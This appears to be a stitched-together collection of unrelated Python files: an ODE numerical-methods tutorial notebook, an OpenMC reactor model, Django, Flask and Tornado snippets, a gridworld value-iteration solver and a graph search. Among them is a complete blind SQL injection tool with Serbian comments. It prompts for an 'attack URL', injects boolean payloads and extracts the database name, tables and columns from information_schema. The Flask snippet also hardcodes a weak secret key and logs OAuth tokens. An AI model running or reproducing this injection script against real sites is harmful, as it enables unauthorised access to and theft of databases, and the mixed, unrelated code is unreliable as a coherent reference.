#!/usr/bin/env python
# coding: utf-8

# # Differential Equation Solving 1
# Many physical laws governing natural behaviour take the form of differential equations. These are often complicated, coupled equations where the behaviour of quantities in space and time depend on others. While some have analytical solutions, often it is quicker and easier to apply numerical tools to obtain approximate solutions.

# ## Motivation
# A **differential equation** is a relationship between a function, $f(x)$, its independent variable, $x$, and any number of its derivatives. An **ordinary differential equation** or **ODE** is a differential equation where the independent variable, and therefore also the derivatives, is in one dimension. For our purposes, we can assume that an ODE can be written
#
# $$
# F\left(x, f(x), \frac{{\rm d}f(x)}{{\rm d}x}, \frac{{\rm d}^2f(x)}{{\rm d}x^2}, \frac{{\rm d}^3f(x)}{{\rm d}x^3}, \ldots, \frac{{\rm d}^{n-1}f(x)}{{\rm d}x^{n-1}}\right) = \frac{{\rm d}^{n}f(x)}{{\rm d}x^{n}},
# $$
#
# where $F$ is an arbitrary function that incorporates one or all of the input arguments, and $n$ is the **order** of the differential equation. This equation is referred to as an **$n^{\mathrm{th}}$ order ODE**.
#
#
#
#
# One example of an ODE describes the system in the above picture, containing a pendulum of length $l$ supporting a mass, $m$ at the end of its length. The angle the pendulum makes with the vertical axis over time, $\theta(t)$, in the presence of gravity, $g$, can be described by an equation, which is the ODE
#
# $$
# ml\frac{{\rm d}^2\theta(t)}{{\rm d}t^2} = -mg \sin(\theta(t)).
# $$
#
# This equation can be derived by summing the forces in the $x$ and $y$ direction, and then converting to polar coordinates.

# We have learned several simple approaches to solving ODEs in lectures:
#
#
# 1.   Euler's method.
# 2.   Midpoint method.
# 3.   Euler Trapezium.
#
# This notebook will apply each of these methods to a specific problem, to illustrate how they can be implemented numerically. Remember that MAT301 aims to give you a mathematical underpinning of each of these methods.
#

# #### Setting up Libraries
#
# As always, we'll make use of some clever Python tools for plotting and maths, so our first step is to load in the libraries that store these tools:

# In[1]:

## Libraries
get_ipython().run_line_magic('matplotlib', 'inline')
import numpy as np
import math
import matplotlib.pyplot as plt

# ## Euler's method
#
# Let $\frac{dS(t)}{dt} = F(t,S(t))$ be an explicitly defined first order ODE. That is, $F$ is a function that returns the derivative at a given time. Also, let $t$ be a numerical grid of the interval $[t_0, t_f]$ with spacing $h$. Assuming that $t_0 = 0$, and that $t_f = Nh$ for some positive integer, $N$, we can linearly approximate $S(t)$ around $t_j$ at $t_{j+1}$ as:
#
# $$
# S(t_{j+1}) = S(t_j) + (t_{j+1} - t_j)\frac{dS(t_j)}{dt},
# $$
#
# which can also be written
#
# $$
# S(t_{j+1}) = S(t_j) + hF(t_j, S(t_j)).
# $$
#
# This formula is called the **Explicit Euler Formula**, and allows us to approximate the state at $S(t_{j+1})$ given the state at $S(t_j)$. Starting from a given initial value of $S_0 = S(t_0)$, we can use this formula to integrate the states up to $S(t_f)$; these $S(t)$ values are then an approximation for the solution of the differential equation. The Euler formula is the simplest and most intuitive method for solving initial value problems. At any state $(t_j, S(t_j))$ it uses $F$ at that state to "point" toward the next state and then moves in that direction a distance of $h$. Although there are more sophisticated and accurate methods for solving these problems, they all have the same fundamental structure. As such, we enumerate explicitly the steps for solving an initial value problem using the Explicit Euler formula.
#
#

# ## Example 9.1 ##
#
# To see this in action, we will use the equation and question posed in from Example 9.1 in the lectures:
#
# $$
# \frac{{\rm{d}}y}{{\rm{d}}t}=xy,
# $$
#
# requires a solution at $x=0.5$ subject to the initial condition $y(x=0)=1$, using a step size $h=0.1$.
#
# Euler's method requires the re-evaluation of the right hand side of the function at different positions, so lets go ahead and create a function to return this value

# In[2]:

def func(x,y):
    ftw = x * y
    return ftw

# Now we need to create our $x$-range for the problem. We know that the range has to begin at $x=0$ (because we know what $y$ is there), and we have to step along until we reach the desired $x$-value ($x=0.5$) in steps of $h=0.1$:

# In[3]:

a = 0.0
b = 0.5
h = 0.1
N = int( (b - a) / h ) # number of steps
print("N=", N)
x = np.arange( a, b + h, h)  # range of x
print("x=", x)

# You can see that this approach generates 5 steps $N=5$, and the $x$ values are exactly what we would expect them to be using pen and paper.
#
# For each of these $x$-values, we'll now have to create $y$-values. The first of these is already specified in the problem; we have been told the initial condition $y(0)=1$.

# In[4]:

y = np.zeros(len(x))
y[0] = 1

# Now we need to calculate each $y$-value based on the previous value. To help us, we can loop over all the $x$-values and calculate the next in the sequence. The final value will be the one we need (the $n$th):

# In[5]:

for n in range(0, N):
    y[n+1] = y[n] + h * func(x[n], y[n])
print("y=", y)

# This differential equation has an exact solution, $y_{\rm{exact}}=\exp{\left(\frac{x^2}{2}\right)}$, so lets go ahead and compare how our approximation does:

# In[6]:

y_exact = np.exp(0.5 * x * x)
print(y_exact)

# Our approximate solution seems to be behaving in the same way: lets visualise this with a plot:

# In[7]:

plt.style.use('seaborn-poster')
plt.figure(figsize = (12, 8))
plt.plot(x, y, 'bo--', label='Approximate: h=%s'%(h))
plt.plot(x, np.exp(0.5 * x * x), 'g', label='Exact')
plt.title('Approximate and Exact Solution for Simple ODE')
plt.xlabel('x')
plt.ylabel('f(x)')
plt.grid()
plt.legend(loc='lower right')
plt.show()

# So we see that our approximation displays similar behaviour, but doesn't follow the trend exactly; in fact the graphs appear to be diverging as $x$ increases. What if we make the step size ten times smaller?

# In[8]:

h2 = 0.01
N2 = int( (b - a) / h2) # number of steps
x2 = np.arange( a, b + h2, h2)  # range of x
y2 = np.zeros(len(x2))
y2[0] = 1
for n in range(0, N2):
    y2[n + 1] = y2[n] + h2 * func(x2[n], y2[n])
plt.style.use('seaborn-poster')
plt.figure(figsize = (12, 8))
plt.plot(x, y, 'bo--', label='Approx: h=%s'%(h))
plt.plot(x2, y2,'ro--', label='Approx: h=%s'%(h2))
plt.plot(x2, np.exp(0.5 * x2 * x2), 'g', label='Exact')
plt.title('Approximate and Exact Solutions for Simple ODE')
plt.xlabel('x')
plt.ylabel('f(x)')
plt.grid()
plt.legend(loc='lower right')
plt.show()

# As expected, cranking up the number of steps improves the accuracy of the solution. However, in practice, we often have a finite amount of numerical resources (e.g. CPU speed, number of nodes, memory size), so we can't always rely on the ability to simply decrease $h$. In those cases, we have to be smarter, and apply other techniques.

# ## Midpoint method
#
# In the lectures, we were introduced to a more accurate scheme, the Midpoint method. This essentially estimates the gradient of the tangent at the midpoint between steps $x_n+\frac{1}{2}h$, which lies halfway between $x_n$ and $x_{n+1}$. Using Euler's method, we then determine $y_{n+1}=y_n+hk_2,$ where
#
# $$
# \begin{align}
# k_1&=f(x_n,y_n), \\
# k_2&=f(x_n+\frac{1}{2}h, y_n+\frac{1}{2}hk_1).
# \end{align}
# $$
#
# This looks a bit weird, but all this means is that we start to evaluate the function not only at the grid point values, but also now at different locations in $x$ and $y$.

# Let's go ahead and implement this, in exactly the same manner as the previous method:

# In[9]:

y3 = np.zeros(len(x))
y3[0] = 1
for n in range(0, N):
    k1 = func(x[n],y[n])
    k2 = func(x[n] + 0.5 * h, y[n] + 0.5 * h * k1)
    y3[n + 1] = y3[n] + h*k2
plt.style.use('seaborn-poster')
plt.figure(figsize = (12, 8))
plt.plot(x, y, 'bo--', label='Euler: h=%s'%(h))
plt.plot(x, y3, 'o--', label='Midpoint: h=%s'%(h))
plt.plot(x, np.exp(0.5 * x * x), 'g', label='Exact')
plt.title('Euler and Midpoint methods: ODE solving')
plt.xlabel('x')
plt.ylabel('f(x)')
plt.grid()
plt.legend(loc='lower right')
plt.show()

# We quickly see that the midpoint method is more accurate than the Euler method for the same step size. The trade-off is the additional calculation required to evaluate $k_1$ and $k_2$.

# ### Modified Euler (Euler-Trapezium Method)
#
# Our methods to solve ODE problems are gradually becoming more complicated in our search for better accuracy.
#
# The final method we will encounter in this worksheet is the Modified Euler (or Euler Trapezium) method. This is classed as a predictor-corrector method, which uses the average of gradients of tangents at the endpoints of each interval to improve accuracy. The derivation of this method is beyond the scope of this course, but can easily be found in textbooks or online. The Modified Euler method is also an example of a 2nd order member of the family of Runge Kutta methods, developed around 1900 by Carl Runge and Wilhelm Kutta. We will see some higher order examples of these methods later.
#
# The method uses Euler's method to predict $y_{n+1}$:
#
# $$
# y_{n+1}^p=y_n+h y_n',
# $$
#
# where $y_{n+1}^p$ is an initial prediction. We then use the derivative prediction, $y_{n+1}'^p$, from
#
# $$
# y_{n+1}'^p=f\left(x_{n+1}, y_{n+1}^p\right),
# $$
#
# to correct the value
#
# $$
# y_{n+1}^c=y_n+\frac{h}{2}\left(y_n'+y_{n+1}'^p\right).
# $$

# Once again, we can apply this solution to the ODE problem from earlier in the following way:

# In[10]:

y4 = np.zeros(len(x))
y4[0] = 1
for n in range(0, N):
    k1 = func(x[n], y[n])
    k2 = func(x[n + 1], y[n] + h * k1)
    y4[n + 1] = y4[n] + 0.5 * h * (k1 + k2)
plt.style.use('seaborn-poster')
plt.figure(figsize = (12, 8))
plt.plot(x, y, 'bo--', label='Euler: h=%s'%(h))
plt.plot(x, y4, 'mo--', label='Modified Euler: h=%s'%(h))
plt.plot(x, np.exp(0.5 * x * x), 'g', label='Exact')
plt.title('Euler and Modified Euler methods: ODE solving')
plt.xlabel('x')
plt.ylabel('f(x)')
plt.grid()
plt.legend(loc='lower right')
plt.show()

# Once again, the Modified Euler does a much better job than the original Euler method, and (for this ODE) is comparable to the Midpoint method in accuracy.
#
# In the next worksheet we will explore a common higher order scheme, the RK4 algorithm, which is widely used in science and engineering (for example). This algorithm builds on some of the simple approaches used in these less accurate models.

# ## Further work
# Now its over to you:
#
# Try choosing a different worked example seen in the lectures, or indeed a tutorial question **once you have worked through the mathematical steps** and see if you can apply the schemes in this workbook to that problem.
#

# In[ ]:


import openmc
import numpy as np
from numpy import sin, cos, tan, pi
import sys

sys.path.insert(1, "../")
from constants import *

# Templating
total_pf = 0.0979
sine_a = {{sine_a}}
sine_b = {{sine_b}}
sine_c = {{sine_c}}
vol_total = 23.1 * 2.55 * T_pitch * 20
vol_slice = 2.31 * 2.55 * T_pitch * 20

x_left = +openmc.XPlane(x0=0, boundary_type="periodic")
x_right = -openmc.XPlane(x0=27.1, boundary_type="periodic")
y_top = -openmc.YPlane(y0=3.25, boundary_type="periodic")
y_bot = +openmc.YPlane(y0=0, boundary_type="periodic")
y_top.periodic_surface = y_bot
x_left.periodic_surface = x_right
z_top = -openmc.ZPlane(z0=T_pitch * 20, boundary_type="reflective")
z_bot = +openmc.ZPlane(z0=0, boundary_type="reflective")
bounds = openmc.Cell(fill=flibe)
bounds.region = x_left & x_right & y_top & y_bot & z_top & z_bot

plank_x_left = +openmc.XPlane(x0=2)
plank_x_right = -openmc.XPlane(x0=2 + 23.1)
plank_y_top = -openmc.YPlane(y0=0.35 + 2.55)
plank_y_bot = +openmc.YPlane(y0=0.35)
plank_region = plank_x_left & plank_x_right & plank_y_top & plank_y_bot & z_top & z_bot
bounds.region &= ~plank_region

graphite1_x_right = -openmc.XPlane(x0=2)
graphite1 = openmc.Cell(fill=graphite)
graphite1.region = x_left & graphite1_x_right & y_top & y_bot & z_top & z_bot
bounds.region &= ~graphite1.region

graphite2_x_left = +openmc.XPlane(x0=25.1)
graphite2 = openmc.Cell(fill=graphite)
graphite2.region = graphite2_x_left & x_right & y_top & y_bot & z_top & z_bot
bounds.region &= ~graphite2.region

boundaries = np.arange(2, 27.1, 2.31)
prism_1 = create_prism(boundaries[0], boundaries[1], False, False)
prism_2 = create_prism(boundaries[1], boundaries[2], False, False)
prism_3 = create_prism(boundaries[2], boundaries[3], False, False)
prism_4 = create_prism(boundaries[3], boundaries[4], False, False)
prism_5 = create_prism(boundaries[4], boundaries[5], False, False)
prism_6 = create_prism(boundaries[5], boundaries[6], False, False)
prism_7 = create_prism(boundaries[6], boundaries[7], False, False)
prism_8 = create_prism(boundaries[7], boundaries[8], False, False)
prism_9 = create_prism(boundaries[8], boundaries[9], False, False)
prism_10 = create_prism(boundaries[9], boundaries[10], False, False)

# triso PF distribution
vol_triso = 4 / 3 * pi * T_r5 ** 3
no_trisos = total_pf * vol_total / vol_triso
midpoints = []
for x in range(len(boundaries) - 1):
    midpoints.append((boundaries[x] + boundaries[x + 1]) / 2)
midpoints = np.array(midpoints)
sine_val = sine_a * sin(sine_b * midpoints + sine_c) + 2
sine_val = np.where(sine_val < 0, 0, sine_val)
triso_z = sine_val / sum(sine_val) * no_trisos
pf_z = triso_z * vol_triso / vol_slice

prism_cell_1 = create_lattice(prism_1, pf_z[0])
prism_cell_2 = create_lattice(prism_2, pf_z[1])
prism_cell_3 = create_lattice(prism_3, pf_z[2])
prism_cell_4 = create_lattice(prism_4, pf_z[3])
prism_cell_5 = create_lattice(prism_5, pf_z[4])
prism_cell_6 = create_lattice(prism_6, pf_z[5])
prism_cell_7 = create_lattice(prism_7, pf_z[6])
prism_cell_8 = create_lattice(prism_8, pf_z[7])
prism_cell_9 = create_lattice(prism_9, pf_z[8])
prism_cell_10 = create_lattice(prism_10, pf_z[9])

univ = openmc.Universe(
    cells=[
        bounds,
        graphite1,
        graphite2,
        prism_cell_1,
        prism_cell_2,
        prism_cell_3,
        prism_cell_4,
        prism_cell_5,
        prism_cell_6,
        prism_cell_7,
        prism_cell_8,
        prism_cell_9,
        prism_cell_10,
    ]
)
geom = openmc.Geometry(univ)

# settings
point = openmc.stats.Point((13.5, 1.7, T_pitch * 9.5))
src = openmc.Source(space=point)
settings = openmc.Settings()
settings.source = src
settings.batches = 10
settings.inactive = 2
settings.particles = 100
settings.temperature = {"multipole": True, "method": "interpolation"}

plot = openmc.Plot()
plot.basis = "xy"
plot.origin = (13.5, 1.7, T_pitch * 9.5)
plot.width = (30, 4)
plot.pixels = (1000, 200)
colors = {
    uoc_9: "yellow",
    por_c: "black",
    si_c: "orange",
    graphite: "grey",
    flibe: "blue",
    lm_graphite: "red",
}
plot.color_by = "material"
plot.colors = colors
plots = openmc.Plots()
plots.append(plot)

# export
mats.export_to_xml()
geom.export_to_xml()
settings.export_to_xml()
plots.export_to_xml()
openmc.run()
# openmc.run(openmc_exec="openmc-ccm-nompi",threads=16)


import requests

def get_data(day: int):
    try:
        with open(f"input{day}.txt") as file:
            return file.read().strip()
    except FileNotFoundError:
        with open("session.txt") as file:
            session = file.read().strip()

        response = requests.get(f"https://adventofcode.com/2022/day/{day}/input", cookies={"session": session})

        with open(f"input{day}.txt", "w") as file:
            file.write(response.text[:-1])

        return response.text[:-1]


import socket
import struct
import hashlib

serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

serversocket.bind(('0.0.0.0', 1448))

serversocket.listen(5)

socket, addr = serversocket.accept()

def md5(fname):
    hash_md5 = hashlib.md5()
    with open(fname, "rb") as f:
        for chunk in iter(lambda: f.read(4096), b""):
            hash_md5.update(chunk)
    return hash_md5.hexdigest()

def recv(socket, length):
    package = b""
    while True:
        p1 = socket.recv(length - len(package))
        if not p1:
            raise Exception("disconnect user")
        package += p1
        if len(package) == length:
            return package

def read_messages(socket):
    r = recv(socket, 4)
    length = struct.unpack('I', r)[0]
    r = recv(socket, length)
    return struct.unpack('%ds' % length, r)[0]

def get_file(socket, filename):
    f = open(filename, 'wb')
    r = recv(socket, 4)
    length = struct.unpack('I', r)[0]
    chunks = length // 1024
    resto = length % 1024
    for chunk in range(chunks):
        f.write(socket.recv(1024))
    f.write(socket.recv(resto))
    f.close()

    print("ok")
    r = recv(socket, 4)
    length = struct.unpack('I', r)[0]
    r = recv(socket, length)
    r = struct.unpack('%ds' % length, r)[0].decode('ascii')
    print(r, md5(filename))
    if r == md5(filename):
        print("md5 ok")
    else:
        print("md5 error")

get_file(socket, "prueba.mp4")


import requests,random,string

# 'https://www.w3schools.com/'
# "http://www.belbana.com/our-products-detail.php?id=7 "

# -1 greska

url = input("unesite url za napad: ")
brojevi="0123456789"
slova="aqzxswedcvfrtgbnhyujmkiolpZAQSWXCEDFRVBGTYHNMJUIKLOP"
specijalni="~`!@#$^&*()_+{}|\";:'\\/?>.<,-+* "

karakteri = brojevi+slova+specijalni

def vrati_broj_kolona_u_bazi(url, tacno):
    i = 1
    netacno = requests.get(url + "and 5=6",)
    while True:
        pom = requests.get(url + "order by " + str(i))
        if pom.text == netacno.text:
            return i - 1
        elif i > 100:
            return -1
        i += 1

def vrati_duzinu_imena_baze(url):
    tacno = requests.get(url + " OR 3=3")
    i = 1
    while True:
        pom = requests.get(url + " AND 1=2 OR  (SELECT LENGTH(database()))=" + str(i))
        if pom.text == tacno.text:
            return i
        if i > 100:
            return -1
        i += 1

def vrati_duzinu_imena_tabele(url, broj_tabele):
    tacno = requests.get(url + " OR 3=3")
    i = 1
    while True:
        pom = requests.get(
            url + " AND 1=2 OR  (SELECT LENGTH(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT " + str(broj_tabele) + ",1)=" + str(i))
        if pom.text == tacno.text:
            return i
        if i > 100:
            return -1
        i += 1

def vrati_ime_tabele(duzina_imena, url, redni_broj_tabele):
    ime = ""
    tacno = requests.get(url + " OR 3=3")
    for i in range(duzina_imena):
        for j in karakteri:
            kveri = " AND 1=2 OR (SELECT table_name FROM information_schema.tables WHERE table_schema=database() LIMIT " + str(
                redni_broj_tabele) + ",1) LIKE '" + ime + j + "%'"
            pom = requests.get(url + kveri)
            if pom.text == tacno.text:
                ime += j
                break
    return ime

def vrati_ime_baze(duzina_imena_baze):
    ime = ""
    tacno = requests.get(url + " OR 3=3")
    for i in range(duzina_imena_baze):
        for j in karakteri:
            kveri = " AND 1=2 OR (SELECT database()) LIKE '" + ime + j + "%'"
            pom = requests.get(url + kveri)
            if pom.text == tacno.text:
                ime += j
                break
    return ime

def vrati_broj_kolona_u_tabeli(ime_tabele,url):
    i = 1
    tacno = requests.get(url + "or 3=3")
    while True:
        pom = requests.get(url + "AND 1=2 OR (SELECT COUNT(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='"+ime_tabele+"')=" + str(i))
        if pom.text == tacno.text:
            return i
        elif i > 100:
            return -1
        i += 1

def vrati_broj_tabela(url):
    i = 1
    tacno = requests.get(url + "or 3=3")
    while True:
        pom = requests.get(url + "AND 1=2 OR (SELECT COUNT(*) FROM information_schema.tables WHERE table_schema=database())=" + str(i))
        if pom.text == tacno.text:
            return i
        elif i > 100:
            return -1
        i += 1

def vrati_ime_kolona(ime_tabele,broj_kolona):
    duzine_imena=[]
    for i in range(broj_kolona):
        j = 1
        tacno = requests.get(url + "or 3=3")
        while True:
            pom = requests.get(url + "AND 1=2 OR (SELECT LENGTH(column_name) FROM information_schema.columns WHERE table_schema=database() AND table_name='"+ime_tabele+"' LIMIT "+str(i)+",1)=" + str(j))
            if pom.text == tacno.text:
                duzine_imena.append(j)
                break
            if j > 200:
                return -1
            j+=1

    imena_kolona=[]
    red_br_kolone=0
    for i in duzine_imena:
        ime=""
        for a in range(i):
            for karakter in karakteri:
                pom = requests.get(url + "AND 1=2 OR (SELECT column_name FROM information_schema.columns WHERE table_schema=database() AND table_name='"+ime_tabele+"' LIMIT "+str(red_br_kolone)+",1) LIKE '"+ime+karakter+"%'")
                if pom.text == tacno.text:
                    ime+=karakter
                    break
        imena_kolona.append(ime)
        red_br_kolone+=1
    return imena_kolona

def randomString(stringLength=8):
    letters = string.ascii_lowercase
    return ''.join(random.choice(letters) for i in range(stringLength))

def da_li_je_ranjiv(url):
    tacno = requests.get(url + " OR 3=3")
    netacno = requests.get(url + " AND 2=3")
    return [tacno.text, netacno.text]

[tacno, netacno] = da_li_je_ranjiv(url)

if not tacno == netacno:

    duzina_imena_baze = vrati_duzinu_imena_baze(url)

    if duzina_imena_baze == -1:
        print("greska -1 [prevelika duzina imena baze]")
    else:
        print("duzina imena baze: " + str(duzina_imena_baze))

        ime_baze=vrati_ime_baze(duzina_imena_baze)
        print("ime baze "+ime_baze)

        broj_tabela = vrati_broj_tabela(url)
        print("broj tabela: "+str(broj_tabela))

        if broj_tabela == -2:
            print("greska -2[previse tabela detektovao")
        else:
            print("broj tabela: " + str(broj_tabela))

            duzine_tabela = []

            for i in range(broj_tabela):
                duzine_tabela.append(vrati_duzinu_imena_tabele(url,i))

            imena_tabela = []
            j = 0

            for i in duzine_tabela:
                a = vrati_ime_tabele(i, url, j)
                print("tabela "+a)
                imena_tabela.append(a)
                j += 1
            print("imena tabela "+str(imena_tabela))

            brojevi_kolona_tabela=[]

            for i in imena_tabela:
                brojevi_kolona_tabela.append(vrati_broj_kolona_u_tabeli(i,url))

            brojevi_kolona_tabela=[3, 11, 7, 12, 54, 7, 7]

            imena_kolona = []

            for i in range(len(imena_tabela)):
                imena_kolona.append(vrati_ime_kolona(imena_tabela[i], brojevi_kolona_tabela[i]))

            obj=[]
            print("kolone")
            for i in range(len(imena_tabela)):
                print(imena_tabela[i])
                print(imena_kolona[i])
                obj.append({"tabela":imena_tabela[i],"kolone":imena_kolona[i]})

            r=randomString(8)

            file=r+".txt"
            f=open(file,"w")
            f.write("url[ " + url + " ]\n")
            f.write("baza podataka[ "+ime_baze+" ]\n")
            for i in obj:
                f.write("\ntabela[ "+i["tabela"]+" ] kolone { ")
                for j in i["kolone"]:
                    f.write(" "+j+", ")
                f.write("}")
            f.close()
            print("podaci upisani u "+file)

else:
    print("neuspelo [tacno==netacno")


from django.shortcuts import render
from django.http import HttpResponse
from django.template import loader
from poll.models import User

def index(request):
    if request.method == 'POST':
        name = request.POST.get('name')
        email = request.POST.get('email')
        number = request.POST.get('phone')
        gender = request.POST.get('gender')
        additonal_number = request.POST.get('num')

        new = User(name=name,email=email,number=number,gender=gender,additonal_number=additonal_number)

        new.save()

        # return HttpResponse("You're name is  %s." %new.name )
        return render(request,'details.html')

    return render(request, 'index.html')
    # return HttpResponse("Hello, world. You're at the poll index.")
# Create your views here.
# def detail(request):
#     return Htt=
def about(request):
    return HttpResponse("Hello, world. You're at the poll about.")


import logging
import pytz
from tornado import web
from stocksum.web import utils
from datetime import datetime

class Handler(web.RequestHandler):

    def get_template_namespace(self):
        namespace = web.RequestHandler.get_template_namespace(self)
        namespace.update(
            title='Stocksum.net',
            user_time=self.user_time,
        )
        return namespace

    def get_current_user(self):
        user = self.get_secure_cookie('user')
        if user:
            return utils.json_loads(user)

    def user_time(self, dt=None):
        if not dt:
            dt = datetime.utcnow()
        return datetime.astimezone(
            dt.replace(tzinfo=pytz.utc),
            pytz.timezone(self.current_user['timezone']),
        )

class API_handler(Handler):

    def set_default_headers(self):
        self.set_header('Cache-Control', 'no-cache, must-revalidate')
        self.set_header('Expires', 'Sat, 26 Jul 1997 05:00:00 GMT')
        self.set_header('Content-Type', 'application/json')
        self.set_header('Access-Control-Allow-Origin', '*')
        self.set_header('Access-Control-Allow-Headers', 'Authorization, Content-Type, If-Match, If-Modified-Since, If-None-Match, If-Unmodified-Since, X-Requested-With')
        self.set_header('Access-Control-Allow-Methods', 'GET, POST, PATCH, PUT, DELETE')
        self.set_header('Access-Control-Expose-Headers', 'ETag, Link, X-Total-Count, X-Total-Pages')
        self.set_header('Access-Control-Max-Age', '86400')
        self.set_header('Access-Control-Allow-Credentials', 'true')

    def write_object(self, obj):
        self.write(
            utils.json_dumps(obj, indent=4),
        )


import numpy as np
from copy import deepcopy

MOVES = {(1,0):'S',(-1,0):'N',(0,1):'E',(0,-1):'W'}
MOVES_INVERTED = {v:k for k,v in MOVES.items()}

def print_value_and_policy(gamma,value,policy,iteration = 60,pi = False):
	if pi:
		v,p = do_policy_iteration(gamma,value,policy,iteration = iteration)
	else:
		v,p = do_value_iteration(gamma,value,policy,iteration = iteration)
	print('Optimal Value Function')
	print(np.array(v))
	print()
	print('Optimal Policy')
	print(np.array(p))

def	print_q_star_and_policy(gamma,q,policy,iteration = 60):
	new_q,new_policy = do_q_value_iteration(gamma,q,policy,iteration = iteration)
	q_star = [[0 for _ in range(5)] for _ in range(5)]
	for i in range(5):
		for j in range(5):
			q_star[i][j] = min(new_q[i][j].values())
	print('Optimal Q Function')
	print(np.array(q_star))
	print()
	print('Optimal Policy')
	print(np.array(new_policy))

def valid(i,j):
	return 0 <= i <= 4 and 0 <= j <= 4

def cost(i,j,di,dj):
	if i == 0:
		if j == 1:
			return -10
		if j == 3:
			return -5
	if valid(i + di, j + dj):
		return 0
	return 1

def next_position(i,j,di,dj):
	if i == 0:
		if j == 1:
			return 4,1
		if j == 3:
			return 2,3
	if valid(i + di, j + dj):
		return i + di, j + dj
	return i,j

def hamitonian(i,j,di,dj,gamma,value):
	new_i, new_j = next_position(i,j,di,dj)
	return cost(i,j,di,dj) + gamma * value[new_i][new_j]

def value_iteration(gamma,value,policy):
	'''
	return the updated value matrix and policy matrix after an iteration.
	'''
	new_value = [[0 for _ in range(5)] for _ in range(5)]
	new_policy = [[0 for _ in range(5)] for _ in range(5)]
	for i in range(5):
		for j in range(5):
			minimum = 10000
			for di,dj in MOVES:
				v = hamitonian(i,j,di,dj,gamma,value)
				if v < minimum:
					minimum = v
					best_move = MOVES[(di,dj)]
			new_value[i][j] = minimum
			new_policy[i][j] = best_move
	return new_value,new_policy

def do_value_iteration(gamma,value,policy,iteration = 50):
	for _ in range(iteration):
		new_value,new_policy = value_iteration(gamma,value,policy)
		if new_value == value and new_policy == policy:
			return new_value,new_policy
		value,policy = new_value,new_policy
	return value,policy

def policy_evaluation(gamma,value,policy):
	'''
	Compute the value matrix given a policy
	'''
	for _ in range(30):
		new_v = [[0 for _ in range(5)] for _ in range(5)]
		for i in range(5):
			for j in range(5):
				di,dj = MOVES_INVERTED[policy[i][j]]
				new_v[i][j] = hamitonian(i,j,di,dj,gamma,value)
		if new_v == value:
			return value
		value = deepcopy(new_v)
	return value

def policy_improvement(gamma,value,policy):
	'''
	Compute the optimal policy matrix given the value
	'''
	for i in range(5):
		for j in range(5):
			minimum = 10000
			for di,dj in MOVES:
				v = hamitonian(i,j,di,dj,gamma,value)
				if v < minimum:
					minimum = v
					best_move = MOVES[(di,dj)]
			policy[i][j] = best_move
	return policy

def do_policy_iteration(gamma,value,policy,iteration = 50):
	for i in range(iteration):
		v = policy_evaluation(gamma,value,policy)
		p = policy_improvement(gamma,v,policy)
		if v == value and p == policy:
			return v,p
		value,policy = v,p
	return value,policy

def q_value_iteration(gamma,q,policy):
	new_q = [[{'N':0,'S':0,'W':0,'E':0} for _ in range(5)] for _ in range(5)]
	new_policy = [['N' for _ in range(5)] for _ in range(5)]
	for i in range(5):
		for j in range(5):
			for move in MOVES_INVERTED:
				di,dj = MOVES_INVERTED[move]
				new_i,new_j = next_position(i,j,di,dj)
				new_q[i][j][move] = cost(i,j,di,dj) + gamma * min(q[new_i][new_j].values())
	for i in range(5):
		for j in range(5):
			minimum = 10000
			for move in MOVES_INVERTED:
				if new_q[i][j][move] < minimum:
					minimum = new_q[i][j][move]
					best_move = move
			new_policy[i][j] = best_move
	return new_q,new_policy

def do_q_value_iteration(gamma,q,policy,iteration = 50):
	for _ in range(iteration):
		new_q,new_policy = q_value_iteration(gamma,q,policy)
		if new_q == q and new_policy == policy:
			return new_q,new_policy
		q,policy = new_q,new_policy
	return q,policy

if __name__ == '__main__':
	# INITIALIZATION
	gamma = 0.9
	value = [[0 for _ in range(5)] for _ in range(5)]
	policy = [['N' for _ in range(5)] for _ in range(5)]
	q = [[{'N':0,'S':0,'W':0,'E':0} for _ in range(5)] for _ in range(5)]
	pi = True

	print_value_and_policy(gamma,value,policy,iteration = 100,pi = pi)

	# print_q_star_and_policy(gamma,q,policy,iteration = 95)


from django import forms
from .models import Comment

# Criando formulário à partir do Model `Comment`
# https://docs.djangoproject.com/pt-br/2.0/topics/forms/modelforms/#modelform
class CommentForm(forms.ModelForm):
    def __init__(self, *args, **kwargs):
        super().__init__(*args, **kwargs)
        # atribuindo classes 'CSS' aos campos do form
        self.fields['name'].widget.attrs.update({'class': 'form-control form-control-lg', 'required': True})
        self.fields['text'].widget.attrs.update({'class': 'form-control form-control-lg', 'required': True})
        # Colocando o Post como um campo invisível no formulário
        self.fields['post'].widget = forms.widgets.HiddenInput()

    class Meta:
        model = Comment
        # Apenas estes campos serão apresentados no formulário html
        fields = ['name', 'text', 'post']


from flask import Flask, url_for, session
from flask import render_template, redirect
from authlib.integrations.flask_client import OAuth
from py_console import console

app = Flask(__name__)
app.secret_key = '!secret'
app.config.from_object('config')

oauth = OAuth(app)
oauth.register(
    name='actionstep',
    access_token_url='https://api.actionstepstaging.com/api/oauth/token',
    authorize_url='https://go.actionstepstaging.com/api/oauth/authorize',
    client_kwargs={
        'scope': 'actions',
    }
)

@app.route('/')
def homepage():
    user = session.get('user')
    return render_template('home.html', user=user)

@app.route('/login')
def login():
    redirect_uri = url_for('auth', _external=True)
    return oauth.actionstep.authorize_redirect(redirect_uri)

@app.route('/auth')
def auth():
    token = oauth.actionstep.authorize_access_token()
    console.log(token)
    session['user'] = token
    return redirect('/')

@app.route('/logout')
def logout():
    session.pop('user', None)
    return redirect('/')


# graph là biểu diễn danh sách liền kề bằng dir
graph = {
        '1': ['2', '3', '4'],
        '2': ['5', '6'],
        '3': ['7'],
        '5': ['7'],
        }
def dls(graph_to_seach, start, end, n):
    # tạo một ngăn xếp của đường đi
    stack = []
    visit =[]
    depth = []
    # đưa điểm đâu tiên vào trong ngăn xếp
    stack.append([[start],0])
    print("\nThu tu duyet: ")
    while stack:
        # lấy đường đi dầu tiên trong ngăn xếp
        path = stack.pop(0)
        #print(path)
        # lấy vị trí cuối cùng trong đường đi
        node = path[0][-1]
        print(node,end=' ')
        # xuất đương đi đã tìm thấy
        if node == end:
            print('\nDuong di la:',end=' ')
            return path[0]
        # liệt kê các nút liền kề và tạo một đưỜng đi mới và thêm vào ngăn xếp
        if(path[1]<n):
            for adjacent in reversed(graph_to_seach.get(node,[])):
                    new_path = list(path[0])
                    new_path.append(adjacent)
                    path_check=[]
                    depth_check = path[1]+1
                    path_check.append(new_path)
                    path_check.append(depth_check)
                    stack.insert(0,path_check)
        #print(stack)
    #return "Không tim thấy dữ liệu"
